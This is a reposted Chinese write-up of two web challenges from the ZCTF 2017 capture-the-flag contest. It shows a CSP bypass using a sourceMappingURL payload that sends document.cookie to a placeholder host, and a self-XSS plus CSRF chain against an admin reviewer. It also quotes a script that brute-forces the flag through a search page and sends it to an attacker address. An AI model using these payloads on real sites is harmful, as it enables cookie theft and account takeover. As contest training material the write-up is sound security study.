ZCTF-2017-web-writeup

转载

dengzhasong7076 于 2017-02-26 20:59:00 发布 130 收藏
文章标签： php javascript ViewUI
原文链接：http://www.cnblogs.com/iamstudy/articles/zctf_2017_web_writeup.html

web2

页面有很多搜索的地方，但是感觉都是死的，最后发现留言之后会有一些信息返回，比如说name的长度或者是哪些字符或者字符串不允许。

```
POST /a0f1b29db350fdac2ad6dc4cb92dbd2b/message.php HTTP/1.1
Pragma: no-cache
Cache-Control: no-cache
Referer: http://58.213.63.30:10006/a0f1b29db350fdac2ad6dc4cb92dbd2b/contact.php
Content-Length: 144
Content-Type: application/x-www-form-urlencoded
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c
Acunetix-Aspect-Queries: filelist;aspectalerts
Host: 58.213.63.30:10006
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 S
Accept: */*

Email=Emai@qq.com&Name=NameAAAA&Team=Teamaaaaa&textarea=Special%20Instruction/Comments..<script>window.loca
```

经过fuzz后发现：

特殊字符只能有

```
.:/<=>@
```

被过滤的关键字

```
src、href、get、data、back、location
```

于是从翻了一下火狐的html文档。
https://developer.mozilla.org/zh-CN/search?q=url&topic=html

期间找到一些html5的姿势，不过很可惜的是被过滤了关键字。最后从index.php的返回头中看到了csp

```
Content-Security-Policy:default-src 'self'; script-src 'self' 'unsafe-inline'
```

在曾经总结的文章中翻到一个
点，http://www.cnblogs.com/iamstudy/articles/bypass_csp_study.html

其中的过滤后的字符…和这个payload极为相识。

```
jQuery sourcemap
document.write(`<script>
//@        sourceMappingURL=http://xxxx/`+document.cookie+`<\/script>`);
```

这个当然是在本地并没有请求网站，不过最后倒是在题目中请求成功拿到flag。

```
<script>//@ sourceMappingURL=http://xxxx/</script>

218.29.102.101 - - [26/Feb/2017:13:39:52 +0800] "GET / HTTP/1.1" 200 2 "-" "zctf%7Be042d9c03263521c86025a4b
```

小小的吐槽一下，这个题目有点是为了ctf出题，这个过滤的手段直接是拦截大量特殊字符，有点像是就是为了考你这个payload...如果大佬有其他html的请求姿势，求发来膜一发。

web400

index.php可以看到个人信息，然后还可以修改自己的用户信息，简答的关键字过滤为空，可以得到一个index.php的一个xss点。
然后还有一个提交漏洞的地方，说是会有人审核，而且关键的cookie是httponly，这个就很明显是一个self xss + csrf的利用。
大概过程就是利用管理员审核的时候点击你的链接然后导致更新了管理员的信息(我们的xss代码)，最后再触发xss代码，这样就可以获取管理员的信息。

```
<script type="text/javascript">
love=function(){var c={version:{name:"Elastic Love",author:"quininer",version:"141229"},conf:{protocol:"{{=
love.req.post(
  "POST",
  "http://xx/checkProfile.php",
  {image: "a",
  nick: "<scscriptript src=//ip/x></scrscriptipt>",
  age: "1",
  address: "aaaa",
  csrfToken: "undefined",
  submit: "submit"
  },
  true
);
</script>
```

这样命名为xx.cn/xss/upload.php，其中nick中的是xss代码，//ip/x是获取网页内容信息的代码。

网站还有一个功能是写入笔记和搜索笔记，但是搜索笔记的时候只会显示是否存在这个，这个最后就是flag存在在这个数据中，所以我们需要的是通过xss再去爆破flag，最后将flag发送过来。可惜后面没多少时间去调试exp。

引用飞猪的wp中的exp：

```
tab="0123456789abcdefghijklmnopqrstuvwxyz}_"
str=''
$.ajaxSettings.async=false
while(true){
  for(i=0;i<tab.length;i++){
    flag=false;
    url = 'http://xx/search.php?keywords=flag{'+str+tab[i];
    x=$.get(url);
    if(x.status==404) flag=true;
    if(!flag) break;
  }
  str+=tab[i];
  console.log(str);
  if(tab[i]=='}') break;
}
location.href='//ip/'+str
```

转载于:https://www.cnblogs.com/iamstudy/articles/zctf_2017_web_writeup.html